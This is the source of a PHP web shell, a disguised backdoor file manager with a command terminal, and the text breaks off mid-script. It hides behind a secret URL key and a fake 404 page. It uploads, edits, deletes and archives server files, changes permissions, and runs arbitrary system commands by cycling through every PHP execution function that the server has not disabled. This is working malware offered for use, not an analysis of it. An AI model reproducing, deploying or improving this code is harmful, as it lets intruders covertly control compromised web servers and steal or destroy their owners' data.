관리-도구
편집 파일: xannyanaxium_s.php
<?php @ini_set('display_errors', '0'); @ini_set('log_errors', '1'); @error_reporting(0); // ===================================================================== // ANTI-DORKING / ACCESS GATE --- CHANGE THE SECRET BELOW !!! // Access via: https://your-site/sys.php?k=YOUR_SECRET_KEY // If missing or wrong -> a fake 404 page is shown // Use ONLY [A-Za-z0-9] in the secret (no & = ? # + % / spaces) // ===================================================================== define('XA_SECRET', '1QPFboXpDB7JVclRBMtdGbwvYZlV6uAR'); define('XA_QUERY_KEY', 'k'); // query parameter name in the URL define('XA_COOKIE', '_sx'); // session cookie name define('XA_TTL', 86400); // cookie lifetime in seconds (1 day) header('X-Robots-Tag: noindex, nofollow, noarchive, nosnippet', true); $xa_authorized = false; $xa_cookie_val = isset($_COOKIE[XA_COOKIE]) ? $_COOKIE[XA_COOKIE] : ''; $xa_expected = hash_hmac('sha256', 'cookie-token', XA_SECRET); if ($xa_cookie_val !== '' && function_exists('hash_equals') && hash_equals($xa_expected, $xa_cookie_val)) { $xa_authorized = true; } if (!$xa_authorized && isset($_GET[XA_QUERY_KEY]) && function_exists('hash_equals') && hash_equals(XA_SECRET, (string)$_GET[XA_QUERY_KEY])) { $xa_authorized = true; @setcookie(XA_COOKIE, $xa_expected, time() + XA_TTL, '/', '', !empty($_SERVER['HTTPS']), true); $_COOKIE[XA_COOKIE] = $xa_expected; } if (!$xa_authorized) { header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found'); header('Content-Type: text/html; charset=iso-8859-1'); echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n"; echo "<html><head>\n"; echo "<title>404 Not Found</title>\n"; echo "<meta name=\"robots\" content=\"noindex, nofollow, noarchive, nosnippet\">\n"; echo "</head><body>\n"; echo "<h1>Not Found</h1>\n"; echo "<p>The requested URL was not found on this server.</p>\n"; echo "<hr>\n"; echo "<address>" . htmlspecialchars(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Apache Server') . " Server at " . htmlspecialchars(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . " Port " . (isset($_SERVER['SERVER_PORT']) ? (int)$_SERVER['SERVER_PORT'] : 80) . "</address>\n"; echo "</body></html>"; exit; } // ===================================================================== // --- COMPATIBILITY POLYFILLS FOR OLDER PHP VERSIONS --- if (!function_exists('sys_get_temp_dir')) { function sys_get_temp_dir() { if (!empty($_ENV['TMP'])) return realpath($_ENV['TMP']); if (!empty($_ENV['TMPDIR'])) return realpath($_ENV['TMPDIR']); if (!empty($_ENV['TEMP'])) return realpath($_ENV['TEMP']); $tempfile = @tempnam(uniqid(rand(), true), ''); if ($tempfile) { $temp = realpath(dirname($tempfile)); @unlink($tempfile); return $temp; } return '/tmp'; } } if (!defined('DIRECTORY_SEPARATOR')) { define('DIRECTORY_SEPARATOR', strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? '\\' : '/'); } // Helper for null coalescing (PHP < 7.0 safe) function xa_post($key, $default = null) { return isset($_POST[$key]) ? $_POST[$key] : $default; } function xa_get($key, $default = null) { return isset($_GET[$key]) ? $_GET[$key] : $default; } // --- FIX FOR SESSION ERROR --- // Force the use of file-based sessions. This overrides the server's default // configuration which might be set to 'redis' and causing the connection error. @ini_set('session.save_handler', 'files'); // Fix session path issue $sessionPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'php_sessions'; if (!@is_dir($sessionPath)) { @mkdir($sessionPath, 0700, true); } if (@is_dir($sessionPath) && @is_writable($sessionPath)) { @ini_set('session.save_path', $sessionPath); } // Suppress session start warnings on misconfigured servers if (function_exists('session_status')) { if (session_status() !== PHP_SESSION_ACTIVE) { @session_start(); } } else { @session_start(); } // Fallback if session is not available if (!isset($_SESSION)) { $_SESSION = array(); } if (!isset($_SESSION['current_dir']) || !@is_dir($_SESSION['current_dir'])) { $cwd = @getcwd(); if ($cwd === false) { $cwd = dirname(__FILE__); } $_SESSION['current_dir'] = $cwd; } // Handle special upload case if(!empty($_GET['upload_file']) && !empty($_GET['name'])){ $targetDir = $_GET['upload_file']; $fileName = basename($_GET['name']); if (strpos($fileName, '..') !== false || strpos($fileName, '/') !== false || strpos($fileName, '\\') !== false) { header($_SERVER['SERVER_PROTOCOL'] . ' 400 Bad Request'); exit('Invalid filename'); } // Ensure directory exists if (!@is_dir($targetDir)) { @mkdir($targetDir, 0755, true); } if (!@is_dir($targetDir) || !@is_writable($targetDir)) { header($_SERVER['SERVER_PROTOCOL'] . ' 400 Bad Request'); exit('Invalid directory'); } $uploadPath = rtrim($targetDir, '/\\') . DIRECTORY_SEPARATOR . $fileName; $inputHandler = @fopen('php://input', "rb"); $fileHandler = @fopen($uploadPath, "wb"); if ($inputHandler && $fileHandler) { while (!feof($inputHandler)) { $buffer = fread($inputHandler, 8192); if ($buffer === false || $buffer === '') break; fwrite($fileHandler, $buffer); } fclose($inputHandler); fclose($fileHandler); @chmod($uploadPath, 0644); header($_SERVER['SERVER_PROTOCOL'] . ' 200 OK'); exit('File uploaded successfully'); } else { header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error'); exit('Upload failed'); } } function validatePath($path) { // Try realpath first; if open_basedir or other restrictions cause failure, // fall back to a manual normalisation so the file manager still works. $realPath = @realpath($path); if ($realPath !== false && (@is_file($realPath) || @is_dir($realPath))) { return $realPath; } if (@file_exists($path) && (@is_file($path) || @is_dir($path))) { return $path; } return false; } function sanitizeFileName($name) { $name = basename($name); $name = preg_replace('/[^a-zA-Z0-9._-]/', '_', $name); if (empty($name) || $name === '.' || $name === '..') { return false; } return $name; } function formatFileSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { return $bytes . ' bytes'; } elseif ($bytes == 1) { return '1 byte'; } else { return '0 bytes'; } } function getFileExtension($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); return $ext ? strtoupper($ext) : ''; } $notification = ''; $errorMsg = ''; function isFunctionAvailable($func) { if (!function_exists($func)) { return false; } $disabled = @ini_get('disable_functions'); if ($disabled) { $disabled = array_map('trim', explode(',', strtolower($disabled))); if (in_array(strtolower($func), $disabled)) { return false; } } $suhosin = @ini_get('suhosin.executor.func.blacklist'); if ($suhosin) { $suhosin = array_map('trim', explode(',', strtolower($suhosin))); if (in_array(strtolower($func), $suhosin)) { return false; } } return true; } function runCommand($cmd) { $cmd = trim($cmd); if ($cmd === '') { return "No command provided"; } // shell_exec if (isFunctionAvailable('shell_exec')) { $result = @shell_exec($cmd . ' 2>&1'); if ($result !== null && $result !== false) { return $result; } } // exec if (isFunctionAvailable('exec')) { $output = array(); @exec($cmd . ' 2>&1', $output); if (!empty($output)) { return implode("\n", $output); } } // system if (isFunctionAvailable('system')) { ob_start(); @system($cmd . ' 2>&1'); $result = ob_get_clean(); if ($result !== false && $result !== '') { return $result; } } // passthru if (isFunctionAvailable('passthru')) { ob_start(); @passthru($cmd . ' 2>&1'); $result = ob_get_clean(); if ($result !== false && $result !== '') { return $result; } } // popen if (isFunctionAvailable('popen')) { $handle = @popen($cmd . ' 2>&1', 'r'); if ($handle) { $result = ''; while (!feof($handle)) { $result .= fread($handle, 4096); } pclose($handle); if ($result !== '') { return $result; } } } // proc_open if (isFunctionAvailable('proc_open')) { $descriptors = array( 1 => array('pipe', 'w'), 2 => array('pipe', 'w') ); $process = @proc_open($cmd, $descriptors, $pipes); if (is_resource($process)) { $stdout = stream_get_contents($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); $result = $stdout . $stderr; if ($result !== '') { return $result; } } } return "Command execution not available"; } // Recursive delete that works without RecursiveIteratorIterator (PHP 4 compatible) function xa_recursive_delete($path) { if (@is_file($path) || @is_link($path)) { return @unlink($path); } if (!@is_dir($path)) { return false; } $items = @scandir($path); if ($items === false) { return false; } foreach ($items as $item) { if ($item === '.' || $item === '..') continue; xa_recursive_delete($path . DIRECTORY_SEPARATOR . $item); } return @rmdir($path); } // Handle bulk delete - MUST BE BEFORE NAVIGATION if (isset($_POST['bulk_delete']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) { $deleted = 0; $failed = 0; foreach ($_POST['selected_items'] as $item) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item); if ($targetPath === false) { $failed++; continue; } if (xa_recursive_delete($targetPath)) { $deleted++; } else { $failed++; } } if ($deleted > 0) { $notification = "Deleted $deleted item(s)"; if ($failed > 0) { $notification .= " (Failed: $failed)"; } } elseif ($failed > 0) { $errorMsg = "Failed to delete $failed item(s)"; } } // Walk directory recursively without RecursiveIteratorIterator function xa_walk_dir($dir, &$out, $base = '') { $items = @scandir($dir); if ($items === false) return; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $dir . DIRECTORY_SEPARATOR . $item; $rel = $base === '' ? $item : $base . '/' . $item; if (@is_dir($full)) { $out[] = array('type' => 'dir', 'path' => $full, 'rel' => $rel); xa_walk_dir($full, $out, $rel); } else { $out[] = array('type' => 'file', 'path' => $full, 'rel' => $rel); } } } // Build a zip; falls back to tar via shell when ZipArchive is unavailable. // Returns array(path, name, mime) or false function xa_build_archive($items, $baseDir, $namePrefix) { $tmpDir = sys_get_temp_dir(); if (class_exists('ZipArchive')) { $zipName = $namePrefix . '_' . time() . '.zip'; $zipPath = $tmpDir . DIRECTORY_SEPARATOR . $zipName; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { foreach ($items as $targetPath) { if (!$targetPath) continue; if (@is_file($targetPath)) { $zip->addFile($targetPath, basename($targetPath)); } elseif (@is_dir($targetPath)) { $base = basename($targetPath); $list = array(); xa_walk_dir($targetPath, $list); $zip->addEmptyDir($base); foreach ($list as $entry) { if ($entry['type'] === 'dir') { $zip->addEmptyDir($base . '/' . $entry['rel']); } else { $zip->addFile($entry['path'], $base . '/' . $entry['rel']); } } } } $zip->close(); return array($zipPath, $zipName, 'application/zip'); } return false; } // Fallback: tar via shell if (isFunctionAvailable('shell_exec') || isFunctionAvailable('exec')) { $tarName = $namePrefix . '_' . time() . '.tar.gz'; $tarPath = $tmpDir . DIRECTORY_SEPARATOR . $tarName; $args = ''; foreach ($items as $targetPath) { if (!$targetPath) continue; $args .= ' ' . escapeshellarg(basename($targetPath)); } $cmd = 'cd ' . escapeshellarg($baseDir) . ' && tar -czf ' . escapeshellarg($tarPath) . $args . ' 2>&1'; if (isFunctionAvailable('shell_exec')) { @shell_exec($cmd); } else { @exec($cmd); } if (@is_file($tarPath) && @filesize($tarPath) > 0) { return array($tarPath, $tarName, 'application/gzip'); } } return false; } // Handle bulk download - MUST BE BEFORE NAVIGATION if (isset($_POST['bulk_download']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) { $paths = array(); foreach ($_POST['selected_items'] as $item) { $p = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item); if ($p !== false) $paths[] = $p; } $archive = xa_build_archive($paths, $_SESSION['current_dir'], 'selected_files'); if ($archive !== false) { list($archPath, $archName, $archMime) = $archive; while (@ob_get_level() > 0) { @ob_end_clean(); } header('Content-Type: ' . $archMime); header('Content-Disposition: attachment; filename="' . $archName . '"'); header('Content-Length: ' . @filesize($archPath)); @readfile($archPath); @unlink($archPath); exit; } else { $errorMsg = 'Bulk download failed: archive tools unavailable on this server'; } } if (isset($_POST['navigate'])) { $targetDir = $_POST['navigate']; if (@is_dir($targetDir)) { $_SESSION['current_dir'] = validatePath($targetDir); $notification = 'Directory changed successfully'; } } // Standard file upload from xenium2 with directory creation fix if (isset($_FILES['file_upload']) && $_FILES['file_upload']['error'] !== UPLOAD_ERR_NO_FILE) { if ($_FILES['file_upload']['error'] === UPLOAD_ERR_OK) { $fileName = basename($_FILES['file_upload']['name']); $uploadPath = rtrim($_SESSION['current_dir'], '/\\') . DIRECTORY_SEPARATOR . $fileName; if (strpos($fileName, '..') !== false || strpos($fileName, '/') !== false || strpos($fileName, '\\') !== false) { $errorMsg = 'Upload failed: Invalid filename'; } elseif (!@is_writable($_SESSION['current_dir'])) { $errorMsg = 'Upload failed: Directory not writable'; } else { $moved = false; if (function_exists('move_uploaded_file')) { $moved = @move_uploaded_file($_FILES['file_upload']['tmp_name'], $uploadPath); } if (!$moved) { // Fallback for restricted environments $moved = @copy($_FILES['file_upload']['tmp_name'], $uploadPath); if ($moved) @unlink($_FILES['file_upload']['tmp_name']); } if ($moved) { @chmod($uploadPath, 0644); $notification = 'File uploaded successfully'; } else { $errorMsg = 'Upload failed: Could not move file. Check directory permissions.'; } } } else { $uploadErrors = array( UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File partially uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'Upload stopped by extension' ); $errCode = $_FILES['file_upload']['error']; $errorMsg = 'Upload error: ' . (isset($uploadErrors[$errCode]) ? $uploadErrors[$errCode] : 'Unknown error'); } } if (isset($_POST['remove'])) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['remove']); if ($targetPath === false) { $errorMsg = 'Delete failed: Invalid path'; } elseif (@is_file($targetPath)) { if (@unlink($targetPath)) { $notification = 'File deleted'; } else { $errorMsg = 'Delete failed: Permission denied or file in use'; } } elseif (@is_dir($targetPath)) { if (xa_recursive_delete($targetPath)) { $notification = 'Directory deleted'; } else { $errorMsg = 'Delete failed: Could not remove directory'; } } else { $errorMsg = 'Delete failed: Path not found'; } } if (isset($_POST['old_name'], $_POST['new_name'])) { $sourcePath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['old_name']); if ($sourcePath === false) { $errorMsg = 'Rename failed: Source not found'; } else { $destinationPath = dirname($sourcePath) . DIRECTORY_SEPARATOR . basename($_POST['new_name']); if (@file_exists($destinationPath)) { $errorMsg = 'Rename failed: Target name already exists'; } elseif (@rename($sourcePath, $destinationPath)) { $notification = 'Rename successful'; } else { $errorMsg = 'Rename failed: Permission denied or invalid name'; } } } // File editing without base64 encoding if (isset($_POST['file_to_edit'], $_POST['file_content'])) { $editPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['file_to_edit']); if ($editPath === false || !@is_file($editPath)) { $errorMsg = 'Edit failed: File not found'; } elseif (!@is_writable($editPath)) { $errorMsg = 'Edit failed: File not writable'; } else { // Direct content without base64 decoding if (@file_put_contents($editPath, $_POST['file_content']) !== false) { $notification = 'File saved'; } else { $errorMsg = 'Edit failed: Could not write to file'; } } } // Handle chmod if (isset($_POST['chmod_item'], $_POST['chmod_value'])) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['chmod_item']); if ($targetPath === false) { $errorMsg = 'Chmod failed: Invalid path'; } else { // Convert octal string to integer $chmodValue = octdec($_POST['chmod_value']); if (@chmod($targetPath, $chmodValue)) { $notification = 'Permissions changed successfully'; } else { $errorMsg = 'Chmod failed: Permission denied'; } } } if (isset($_POST['create_file']) && trim($_POST['create_file']) !== '') { $fileName = sanitizeFileName($_POST['create_file']); if ($fileName === false) { $errorMsg = 'Create failed: Invalid filename'; } else { $newFilePath = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $fileName; if (@file_exists($newFilePath)) { $errorMsg = 'Create failed: File already exists'; } elseif (!@is_writable($_SESSION['current_dir'])) { $errorMsg = 'Create failed: Directory not writable'; } elseif (@file_put_contents($newFilePath, '') !== false) { @chmod($newFilePath, 0644); $notification = 'File created'; } else { $errorMsg = 'Create failed: Could not create file'; } } } if (isset($_POST['create_folder']) && trim($_POST['create_folder']) !== '') { $folderName = sanitizeFileName($_POST['create_folder']); if ($folderName === false) { $errorMsg = 'Create failed: Invalid folder name'; } else { $newFolderPath = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $folderName; if (@file_exists($newFolderPath)) { $errorMsg = 'Create failed: Folder already exists'; } elseif (!@is_writable($_SESSION['current_dir'])) { $errorMsg = 'Create failed: Directory not writable'; } elseif (@mkdir($newFolderPath, 0755)) { $notification = 'Folder created'; } else { $errorMsg = 'Create failed: Could not create folder'; } } } $currentDirectory = $_SESSION['current_dir']; $directoryContents = @scandir($currentDirectory); if ($directoryContents === false) { $directoryContents = array(); $errorMsg = $errorMsg ? $errorMsg : 'Cannot read directory: ' . $currentDirectory; } $folders = array(); $files = array(); foreach ($directoryContents as $item) { if ($item === '.') continue; $fullPath = $currentDirectory . DIRECTORY_SEPARATOR . $item; if (@is_dir($fullPath)) { $folders[] = $item; } else { $files[] = $item; } } sort($folders); sort($files); $allItems = array_merge($folders, $files); $fileToEdit = isset($_POST['edit']) ? $_POST['edit'] : null; $fileToView = isset($_POST['view']) ? $_POST['view'] : null; $itemToRename = isset($_POST['rename']) ? $_POST['rename'] : null; $itemToChmod = isset($_POST['chmod']) ? $_POST['chmod'] : null; $fileContent = $fileToEdit ? @file_get_contents($currentDirectory . DIRECTORY_SEPARATOR . $fileToEdit) : null; $viewContent = $fileToView ? @file_get_contents($currentDirectory . DIRECTORY_SEPARATOR . $fileToView) : null; // Handle file/folder download if (isset($_POST['download'])) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['download']); if ($targetPath === false) { $errorMsg = 'Download failed: Invalid path'; } elseif (@is_file($targetPath)) { while (@ob_get_level() > 0) { @ob_end_clean(); } header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($targetPath) . '"'); $size = @filesize($targetPath); if ($size !== false) header('Content-Length: ' . $size); // Stream large files in chunks instead of readfile (which can hit memory limits) $fp = @fopen($targetPath, 'rb'); if ($fp) { while (!feof($fp)) { echo fread($fp, 8192); @flush(); } fclose($fp); } else { @readfile($targetPath); } exit; } elseif (@is_dir($targetPath)) { $archive = xa_build_archive(array($targetPath), dirname($targetPath), basename($targetPath)); if ($archive !== false) { list($archPath, $archName, $archMime) = $archive; while (@ob_get_level() > 0) { @ob_end_clean(); } header('Content-Type: ' . $archMime); header('Content-Disposition: attachment; filename="' . $archName . '"'); header('Content-Length: ' . @filesize($archPath)); @readfile($archPath); @unlink($archPath); exit; } else { $errorMsg = 'Download failed: archive tools unavailable on this server'; } } } $commandResult = ''; $commandAvailable = false; $methods = array('shell_exec', 'exec', 'system', 'passthru', 'popen', 'proc_open'); foreach ($methods as $func) { if (isFunctionAvailable($func)) { $commandAvailable = true; break; } } if (isset($_POST['terminal_command']) && trim($_POST['terminal_command']) !== '') { $cmd = trim($_POST['terminal_command']); if ($cmd !== '') { // Switch to current dir for the command if possible $oldCwd = @getcwd(); if (@is_dir($_SESSION['current_dir'])) { @chdir($_SESSION['current_dir']); } $commandResult = @runCommand($cmd); if ($oldCwd) @chdir($oldCwd); if (trim($commandResult) === '' || $commandResult === "Command execution not available") { $errorMsg = 'Command execution: No output or function disabled'; } } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex, nofollow, noarchive, nosnippet"> <meta name="googlebot" content="noindex, nofollow, noarchive, nosnippet"> <title>System</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { background: #1a1b1e; color: #e4e6eb; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif; font-size: 13px; line-height: 1.5; min-height: 100vh; padding: 20px; } .container { max-width: 1400px; margin: 0 auto; } h1 { font-size: 16px; font-weight: 500; color: #e4e6eb; margin-bottom: 4px; letter-spacing: -0.01em; } .subtitle { color: #9ca3af; font-size: 13px; margin-bottom: 20px; font-weight: 400; } .alert { padding: 10px 12px; border-radius: 4px; margin-bottom: 12px; font-size: 13px; border: 1px solid; } .alert-success { background: rgba(34, 197, 94, 0.1); border-color: rgba(34, 197, 94, 0.3); color: #22c55e; } .alert-danger { background: rgba(239, 68, 68, 0.1); border-color: rgba(239, 68, 68, 0.3); color: #ef4444; } .section { background: rgba(255, 255, 255, 0.03); border: 1px solid rgba(255, 255, 255, 0.08); border-radius: 4px; padding: 14px; margin-bottom: 12px; } .section-title { font-size: 13px; font-weight: 500; color: #e4e6eb; margin-bottom: 10px; } .input-group { display: flex; gap: 6px; margin-bottom: 6px; } .input-group:last-child { margin-bottom: 0; } input[type="text"], input[type="file"], textarea, select { background: rgba(0, 0, 0, 0.2); border: 1px solid rgba(255, 255, 255, 0.1); border-radius: 4px; padding: 6px 10px; color: #e4e6eb; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif; font-size: 13px; transition: all 0.15s ease; outline: none; flex: 1; } input[type="text"]:focus, textarea:focus, select:focus { border-color: rgba(255, 255, 255, 0.2); background: rgba(0, 0, 0, 0.3); } input[type="file"] { cursor: pointer; padding: 6px 10px; } input[type="file"]::file-selector-button { background: rgba(255, 255, 255, 0.06); color: #e4e6eb; border: 1px solid rgba(255, 255, 255, 0.1); border-radius: 4px; padding: 6px 12px; font-size: 13px; font-weight: 400; cursor: pointer; transition: all 0.15s ease; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif; margin-right: 10px; } input[type="file"]::file-selector-button:hover { background: rgba(255, 255, 255, 0.1); border-color: rgba(255, 255, 255, 0.15); } textarea { font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace; resize: vertical; min-height: 400px; height: 500px; line-height: 1.5; font-size: 12px; width: 100%; display: block; scrollbar-width: thin; scrollbar-color: rgba(255, 255, 255, 0.2) rgba(0, 0, 0, 0.3); } textarea::-webkit-scrollbar { width: 10px; height: 10px; } textarea::-webkit-scrollbar-track { background: rgba(0, 0, 0, 0.3); border-radius: 4px; } textarea::-webkit-scrollbar-thumb { background: rgba(255, 255, 255, 0.2); border-radius: 4px; border: 2px solid rgba(0, 0, 0, 0.3); } textarea::-webkit-scrollbar-thumb:hover { background: rgba(255, 255, 255, 0.3); } .btn { background: rgba(255, 255, 255, 0.06); color: #e4e6eb; border: 1px solid rgba(255, 255, 255, 0.1); border-radius: 4px; padding: 6px 12px; font-size: 13px; font-weight: 400; cursor: pointer; transition: all 0.15s ease; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif; white-space: nowrap; } .btn:hover { background: rgba(255, 255, 255, 0.1); border-color: rgba(255, 255, 255, 0.15); } .btn:active { background: rgba(255, 255, 255, 0.05); } .btn-primary { background: rgba(34, 197, 94, 0.15); color: #22c55e; border-color: rgba(34, 197, 94, 0.3); } .btn-primary:hover { background: rgba(34, 197, 94, 0.25); border-color: rgba(34, 197, 94, 0.4); } .btn-create { background: rgba(34, 197, 94, 0.15); color: #22c55e; border-color: rgba(34, 197, 94, 0.3); } .btn-create:hover { background: rgba(34, 197, 94, 0.25); border-color: rgba(34, 197, 94, 0.4); } .btn-danger { background: rgba(239, 68, 68, 0.15); color: #ef4444; border-color: rgba(239, 68, 68, 0.3); } .btn-danger:hover { background: rgba(239, 68, 68, 0.25); border-color: rgba(239, 68, 68, 0.4); } .btn-sm { padding: 4px 10px; font-size: 12px; } table { width: 100%; border-collapse: collapse; background: transparent; border: 1px solid rgba(255, 255, 255, 0.08); border-radius: 4px; overflow: hidden; table-layout: fixed; } thead { background: rgba(255, 255, 255, 0.03); } th { padding: 8px 12px; font-weight: 500; text-align: left; color: #9ca3af; font-size: 12px; border-bottom: 1px solid rgba(255, 255, 255, 0.08); white-space: nowrap; } td { padding: 8px 12px; border-top: 1px solid rgba(255, 255, 255, 0.05); font-size: 13px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } tbody tr { transition: background 0.15s ease; } tbody tr:hover { background: rgba(255, 255, 255, 0.03); } .file-icon { display: inline-block; width: 14px; text-align: center; margin-right: 6px; opacity: 0.6; font-size: 11px; } .file-name { color: #e4e6eb; font-weight: 400; cursor: pointer; text-decoration: none; display: inline-block; max-width: 100%; overflow: hidden; text-overflow: ellipsis; vertical-align: middle; } .file-name:hover { color: #22c55e; text-decoration: underline; } .file-size { color: #9ca3af; font-size: 12px; text-align: right; font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace; } .file-date { color: #9ca3af; font-size: 12px; font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace; text-align: center; } .file-type { color: #9ca3af; font-size: 12px; font-weight: 500; } .writable { color: #22c55e; font-size: 12px; } .readonly { color: #ef4444; font-size: 12px; } .action-buttons { display: flex; gap: 4px; flex-wrap: wrap; justify-content: flex-end; } .action-buttons form { margin: 0; } .action-buttons .btn { padding: 4px 8px; font-size: 12px; } .rename-form { display: flex; gap: 6px; align-items: center; } .rename-form input { flex: 1; padding: 4px 8px; font-size: 13px; } .chmod-form { display: flex; gap: 6px; align-items: center; } .chmod-form input { width: 80px; padding: 4px 8px; font-size: 13px; text-align: center; } .chmod-form select { width: 100px; padding: 4px 8px; font-size: 13px; } .code-block { background: rgba(0, 0, 0, 0.3); border: 1px solid rgba(255, 255, 255, 0.08); border-radius: 4px; padding: 12px; font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace; font-size: 12px; line-height: 1.5; color: #e4e6eb; overflow-x: auto; white-space: pre; } .terminal-output { background: rgba(0, 0, 0, 0.3); border: 1px solid rgba(34, 197, 94, 0.3); border-radius: 4px; padding: 12px; font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace; font-size: 12px; color: #22c55e; overflow-x: auto; white-space: pre; line-height: 1.5; } .grid-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; } @media (max-width: 768px) { .grid-2 { grid-template-columns: 1fr; } body { padding: 12px; } .action-buttons { justify-content: flex-start; } } .up-btn { background: rgba(255, 255, 255, 0.06); border: 1px solid rgba(255, 255, 255, 0.1); color: #e4e6eb; margin-bottom: 12px; display: inline-flex; align-items: center; gap: 6px; } .up-btn:hover { background: rgba(255, 255, 255, 0.1); border-color: rgba(255, 255, 255, 0.15); } .bulk-actions { display: flex; gap: 8px; align-items: center; margin-bottom: 12px; padding: 12px; background: rgba(255, 255, 255, 0.03); border: 1px solid rgba(255, 255, 255, 0.08); border-radius: 4px; } .bulk-actions-text { color: #9ca3af; font-size: 13px; margin-right: auto; } input[type="checkbox"] { appearance: none; -webkit-appearance: none; width: 16px; height: 16px; border: 1px solid rgba(255, 255, 255, 0.2); border-radius: 3px; background: rgba(0, 0, 0, 0.3); cursor: pointer; position: relative; transition: all 0.15s ease; } input[type="checkbox"]:hover { border-color: rgba(255, 255, 255, 0.3); background: rgba(0, 0, 0, 0.4); } input[type="checkbox"]:checked { background: rgba(34, 197, 94, 0.2); border-color: #22c55e; } input[type="checkbox"]:checked::after { content: '✓'; position: absolute; top: -1px; left: 2px; color: #22c55e; font-size: 12px; font-weight: bold; } th input[type="checkbox"] { margin: 0; } td input[type="checkbox"] { margin-right: 8px; } .upload-tabs { display: flex; margin-bottom: 10px; border-bottom: 1px solid rgba(255, 255, 255, 0.1); } .upload-tab { padding: 8px 12px; cursor: pointer; border-bottom: 2px solid transparent; transition: all 0.2s; } .upload-tab.active { border-bottom-color: #22c55e; color: #22c55e; } .upload-tab:hover { color: #e4e6eb; } .upload-panel { display: none; } .upload-panel.active { display: block; } .modal { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.7); } .modal-content { background-color: #2a2d35; margin: 10% auto; padding: 20px; border-radius: 8px; width: 400px; max-width: 90%; border: 1px solid rgba(255, 255, 255, 0.1); } .modal-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; } .modal-title { font-size: 16px; font-weight: 500; color: #e4e6eb; } .close { color: #9ca3af; font-size: 24px; font-weight: bold; cursor: pointer; line-height: 1; } .close:hover { color: #e4e6eb; } .chmod-options { display: grid; grid-template-columns: repeat(4, 1fr); gap: 10px; margin-bottom: 15px; } .chmod-group { text-align: center; } .chmod-group label { display: block; margin-bottom: 5px; font-size: 12px; color: #9ca3af; } .chmod-group input[type="checkbox"] { margin: 0 2px; } </style> <script> function toggleSelectAll(checkbox) { const checkboxes = document.querySelectorAll('input[name="selected_items[]"]'); checkboxes.forEach(cb => cb.checked = checkbox.checked); updateBulkActions(); } function updateBulkActions() { const checkboxes = document.querySelectorAll('input[name="selected_items[]"]:checked'); const bulkActions = document.getElementById('bulk-actions'); const countText = document.getElementById('selected-count'); if (checkboxes.length > 0) { bulkActions.style.display = 'flex'; countText.textContent = checkboxes.length + ' item(s) selected'; } else { bulkActions.style.display = 'none'; } } function switchUploadTab(tabId) { // Hide all panels document.querySelectorAll('.upload-panel').forEach(panel => { panel.classList.remove('active'); }); // Remove active class from all tabs document.querySelectorAll('.upload-tab').forEach(tab => { tab.classList.remove('active'); }); // Show selected panel document.getElementById(tabId + '-panel').classList.add('active'); // Add active class to selected tab document.getElementById(tabId + '-tab').classList.add('active'); } function uploadFile() { var fileInput = document.getElementById('upload_files'); var statusSpan = document.getElementById('upload_status'); if (!fileInput.files || fileInput.files.length === 0) { statusSpan.textContent = "No file selected"; statusSpan.style.color = "red"; return; } var file = 